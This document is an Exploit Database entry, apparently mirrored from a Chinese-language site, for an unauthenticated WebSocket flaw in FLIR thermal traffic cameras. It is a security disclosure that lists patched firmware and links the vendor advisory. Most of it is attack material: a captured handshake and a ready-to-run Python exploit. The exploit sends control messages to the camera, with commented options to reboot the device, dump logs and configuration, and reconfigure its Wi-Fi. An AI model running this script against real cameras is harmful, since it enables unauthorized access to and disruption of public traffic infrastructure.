FLIR Thermal Traffic Cameras 1.01-0bb5b27 – Information Disclosure

Exploit Database
115 阅读

作者： LiquidWorm

日期： 2018-10-08
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/45539/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

# Title: FLIR Thermal Traffic Cameras 1.01-0bb5b27 - Information Disclosure

# Author: Gjoko 'LiquidWorm' Krstic

# Date: 2018-10-06

# Vendor: FLIR Systems, Inc.

# Link: https://www.flir.com

# Tested on: nginx/1.12.1, nginx/1.10.2, nginx/1.8.0, Websocket/13 (RFC 6455)

# Affected firmware version: V1.01-0bb5b27 (TrafiOne) Codename: TrafiOne

#E1.00.09(TI BPL2 EDGE) Codename: TIIP4EDGE

#V1.02.P01 (TI x-stream)Codename: TIIP2

#V1.05.P01 (ThermiCam)Codename: ThermiCam

#V1.04.P02 (ThermiCam)Codename: ThermiCam

#V1.04 (ThermiCam)Codename: ThermiCam

#V1.01.P02 (ThermiCam)Codename: ThermiCam

#V1.05.P03 (TrafiSense) Codename: TrafiSense

#V1.06 (VIP-IP) Codename: VIP-IP

#V1.02.P02 (TrafiRadar) Codename: TrafiRadar

# Vendor patched firmware version:

# Product nameFirmwareReleased

# ----------------------------------------------------

# ThermiCam / TrafiSenseE1.06.0317.09.2018

# TI BPL2 EDGEV1.00 17.09.2018

# TI x-stream E1.03.0217.09.2018

# TrafiOneE1.02.0217.09.2018

# ----------------------------------------------------

# Advisory ID: ZSL-2018-5490

# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5490.php

# Vendor firmware updates: https://www.flir.com/security/best-practices-for-cybersecurity/

# Vendor cyber hardening guide: https://www.flir.com/globalassets/security/flir-pro-security-cyber-hardening-guide.pdf

# Desc: FLIR thermal traffic cameras suffer from an unauthenticated device manipulation

# vulnerability utilizing the websocket protocol. The affected FLIR Intelligent

# Transportation Systems - ITS models use an insecure implementation of websocket

# communication used for administering the device. Authentication and authorization

# bypass via referencing a direct object allows an attacker to directly modify running

# configurations, disclose information or initiate a denial of service (DoS) scenario

# with Reboot command. The devices do not support the usage of TLS 'wss://' prefix for

# WebSocket Secure connection making the network traffic disclosed in plain-text to

# MitM evil-doers. Also, the web service has an Origin validation security issue and

# is vulnerable to Cross-Site WebSocket Hijacking (CSWSH).

# ---

# Request:

# GET ws://192.168.1.1:13042/ws/xml2 HTTP/1.1

# Host: 192.168.1.1:13042

# Connection: Upgrade

# Pragma: no-cache

# Cache-Control: no-cache

# User-Agent: Bond/00.7

# Upgrade: websocket

# Origin: zeroscience.mk:1337

# Sec-WebSocket-Version: 13

# Accept-Encoding: gzip, deflate

# Accept-Language: en-US,en;q=0.9

# Cookie: tmhDynamicLocale.locale=%22en%22

# Sec-WebSocket-Key: A5SH9PRtc3rYF49kKO4vmw==

# Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

# Response:

# HTTP/1.1 101 Switching Protocols

# Server: nginx/1.10.2

# Date: Mon, 13 Aug 2018 02:48:46 GMT

# Content-Length: 0

# Connection: upgrade

# Upgrade: WebSocket

# Sec-WebSocket-Accept: QyXaTdjpCsAyxhVnVqjMg95jepk=

# ---

# No HTTP/1.1 401 Unauthorized response observed.

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from websocket import create_connection as t00t

import time

import sys

endpoint = "/ws/xml2"

if (len(sys.argv) <= 2):

print '[*] Usage: exploit.py <ipaddress> <port>'

exit(0)

host = sys.argv[1]

port = sys.argv[2]

# Supported message types:

'''

<Body>

<Message Type="DoBadStuff"/> <-- ;]]

</Body>

</Message>

'''

socket = t00t("ws://"+host+":"+port+endpoint)

#print 'Sending Reboot message type (DoS)...'

#msg = '<Message Type=\"Reboot\"></Message>'

#print 'Getting supported messages...'

#msg = '<Message Type=\"GetSupportedMessages\"></Message>'

#print 'Getting system logs...'

#msg = '<Message Type=\"GetSystemLogs\"></Message>'

#print 'Getting device configuration...'

#msg = '<Message Type=\"GetConfiguration\"></Message>'

#print 'Setting new Wifi information...'

#msg ='''

#<Message Type="SetWifiInformation">

#<Body Present="0" SSID="pwned" Channel="11" Hidden="0" Mode="AccessPoint" />

#</Message>

#'''

msg = '<Message Type=\"GetProductInformation\"></Message>'

socket.send(msg)

print 'Message sent.'

print 'Receiving...'

time.sleep(2)

priem =socket.recv()

print 'Received data: \n%s' % priem

socket.close()